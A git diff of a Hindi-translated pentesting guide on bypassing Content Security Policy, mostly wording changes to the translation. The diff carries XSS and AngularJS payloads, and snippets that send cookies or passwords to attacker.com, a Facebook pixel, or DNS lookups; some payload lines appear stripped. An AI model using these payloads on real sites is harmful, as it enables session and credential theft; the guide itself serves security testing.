diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index d40965633..ee4758c54 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,7 +4,7 @@ ## What is CSP -Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और जावास्क्रिप्ट जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (स्वयं) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है। +Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और जावास्क्रिप्ट जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (self) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है। CSP का कार्यान्वयन **प्रतिक्रिया हेडर** के माध्यम से या **HTML पृष्ठ में मेटा तत्वों को शामिल करके** किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र सक्रिय रूप से इन शर्तों को लागू करते हैं और तुरंत किसी भी पहचानी गई उल्लंघनों को ब्लॉक कर देते हैं। @@ -91,7 +91,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> - `'sha256-'`: एक विशिष्ट sha256 हैश के साथ स्क्रिप्ट को व्हाइटलिस्ट करता है। - `'strict-dynamic'`: यदि इसे nonce या हैश द्वारा व्हाइटलिस्ट किया गया है तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है। - `'host'`: एक विशिष्ट होस्ट निर्दिष्ट करता है, जैसे `example.com`। -- `https:`: उन URLs को प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं। +- `https:`: URLs को उन पर प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं। - `blob:`: Blob URLs (जैसे, JavaScript के माध्यम से बनाए गए Blob URLs) से संसाधनों को लोड करने की अनुमति देता है। - `filesystem:`: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है। - `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)। @@ -105,9 +105,9 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> ```yaml Content-Security-Policy: script-src https://google.com 'unsafe-inline'; ``` -Working payload: `"/>` +काम करने वाला पेलोड: `"/>` -#### self + 'unsafe-inline' via Iframes +#### Iframes के माध्यम से self + 'unsafe-inline' {{#ref}} csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -139,7 +139,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *; ``` ### Lack of object-src and default-src -> [!CAUTION] > **ऐसा लगता है कि यह अब काम नहीं कर रहा है** +> [!CAUTION] > **यह लगता है कि यह अब काम नहीं कर रहा है** ```yaml Content-Security-Policy: script-src 'self' ; ``` @@ -176,7 +176,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ; ```yaml Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; ``` -एक कमजोर संस्करण का एंगुलर लोड करें और मनमाना JS निष्पादित करें: +एक कमजोर संस्करण का angular लोड करें और मनमाना JS निष्पादित करें: ```xml
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}}
@@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a " > ``` -#### Angular + एक लाइब्रेरी का उपयोग करते हुए Payloads जो `window` ऑब्जेक्ट लौटाती हैं ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): +#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): > [!NOTE] -> यह पोस्ट दिखाती है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी से सभी जोड़ी गई फ़ंक्शंस को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शंस कौन सी लाइब्रेरीज़ से `window` ऑब्जेक्ट लौटाते हैं**। +> यह पोस्ट दिखाता है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी से सभी जोड़े गए फ़ंक्शंस को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शंस कौन सी लाइब्रेरीज़ से `window` ऑब्जेक्ट लौटाते हैं**। ```markup @@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> ``` #### www.google.com का उपयोग करके ओपन रीडायरेक्ट का दुरुपयोग -निम्नलिखित URL example.com पर रीडायरेक्ट करता है (यहां से): +निम्नलिखित URL example.com पर रीडायरेक्ट करता है (से [यहाँ](https://www.landh.tech/blog/20240304-google-hack-50000/)): ``` https://www.google.com/amp/s/example.com/ ``` @@ -309,7 +309,7 @@ https://www.youtube.com/oembed?callback=alert; ``` Content-Security-Policy​: default-src 'self’ www.facebook.com;​ ``` -or +या ``` Content-Security-Policy​: connect-src www.facebook.com;​ ``` @@ -318,9 +318,9 @@ Content-Security-Policy​: connect-src www.facebook.com;​ 1. यहाँ एक Facebook Developer खाता बनाएं। 2. एक नया "Facebook Login" ऐप बनाएं और "Website" चुनें। 3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें। -4. लक्षित साइट पर, जिससे आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं। +4. उस लक्षित साइट पर जहां आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं। 5. अपने ऐप के "Event Manager" पर जाएं और उस ऐप्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)। -6. "Test Events" टैब का चयन करें ताकि आप "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देख सकें। +6. "Test Events" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके। फिर, पीड़ित पक्ष पर, आप Facebook ट्रैकिंग पिक्सेल को हमलावर के Facebook डेवलपर खाता ऐप-आईडी की ओर इंगित करने और इस तरह का एक कस्टम इवेंट जारी करने के लिए निम्नलिखित कोड निष्पादित करते हैं: ```JavaScript @@ -339,9 +339,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe ```html ``` -ब्राउज़र अंततः `https://example.com/scripts/angular/angular.js` को लोड करेगा। +ब्राउज़र अंततः `https://example.com/scripts/angular/angular.js` लोड करेगा। -यह काम करता है क्योंकि ब्राउज़र के लिए, आप `https://example.com/scripts/react/` के तहत स्थित `..%2fangular%2fangular.js` नामक फ़ाइल को लोड कर रहे हैं, जो CSP के अनुरूप है। +यह काम करता है क्योंकि ब्राउज़र के लिए, आप `https://example.com/scripts/react/` के तहत स्थित `..%2fangular%2fangular.js` नामक फ़ाइल लोड कर रहे हैं, जो CSP के अनुरूप है। ∑, वे इसे डिकोड करेंगे, प्रभावी रूप से `https://example.com/scripts/react/../angular/angular.js` का अनुरोध करेंगे, जो `https://example.com/scripts/angular/angular.js` के बराबर है। @@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe ``` Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; ``` -एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के उपयोग के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर उपलब्ध एक विस्तृत गाइड में मिल सकती है। +एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के उपयोग के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी एक विस्तृत गाइड में उपलब्ध है जो इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर है। कार्यशील पेलोड: ```html @@ -429,15 +429,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" /> ### लटकते मार्कअप के साथ CSP बायपास -[यहाँ पढ़ें](../dangling-markup-html-scriptless-injection/index.html)। +[यहाँ पढ़ें](../dangling-markup-html-scriptless-injection/index.html). ### 'unsafe-inline'; img-src \*; XSS के माध्यम से ``` default-src 'self' 'unsafe-inline'; img-src *; ``` -`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी छवि उपयोग कर सकते हैं। +`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी इमेज उपयोग कर सकते हैं। -आप इस CSP को छवियों के माध्यम से डेटा को एक्सफिल्ट्रेट करके बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा सुलभ एक पृष्ठ में एक SQLi है, और एक छवि के माध्यम से ध्वज निकालता है): +आप इस CSP को इमेज के माध्यम से डेटा को एक्सफिल्ट्रेट करके बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा एक्सेस की जाने वाली एक पृष्ठ में एक SQLi है, और एक इमेज के माध्यम से फ्लैग को निकालता है): ```javascript ` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि इसे **'self' द्वारा अनुमति दी गई है**। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **कमजोर** **कॉलबैक** एंडपॉइंट के माध्यम से **SOME हमले** का दुरुपयोग कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\ +एक हमलावर उस एंडपॉइंट का दुरुपयोग करके WordPress के खिलाफ **SOME हमले** को **जनरेट** कर सकता है और इसे `` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि इसे **'self'** द्वारा **अनुमति** दी गई है। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **कमजोर** **कॉलबैक** एंडपॉइंट के माध्यम से **SOME हमले** का दुरुपयोग कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\ इस हमले को कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses @@ -643,7 +622,7 @@ document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह सिर्फ एक रीडायरेक्ट है, यह सामग्री को लीक नहीं करेगा) +आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह सामग्री को लीक नहीं करेगा) ```html ``` @@ -652,7 +631,7 @@ document.location = "https://attacker.com/?" + sessionid पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को IP पते में पूर्व-समाधान करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\ आप एक ब्राउज़र को एक होस्टनाम को पूर्व-समाधान करने के लिए संकेत दे सकते हैं: `` -आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को निकाल सकते हैं**: +आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को एक्सफिल्ट्रेट** कर सकते हैं: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -700,7 +679,20 @@ var pc = new RTCPeerConnection({ }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` -## CSP नीतियों की ऑनलाइन जांच करना +### CredentialsContainer + +क्रेडेंशियल पॉपअप बिना पृष्ठ द्वारा प्रतिबंधित हुए iconURL पर एक DNS अनुरोध भेजता है। यह केवल एक सुरक्षित संदर्भ (HTTPS) या लोकलहोस्ट पर काम करता है। +```javascript +navigator.credentials.store( +new FederatedCredential({ +id:"satoki", +name:"satoki", +provider:"https:"+your_data+"example.com", +iconURL:"https:"+your_data+"example.com" +}) +) +``` +## CSP नीतियों की ऑनलाइन जांच - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)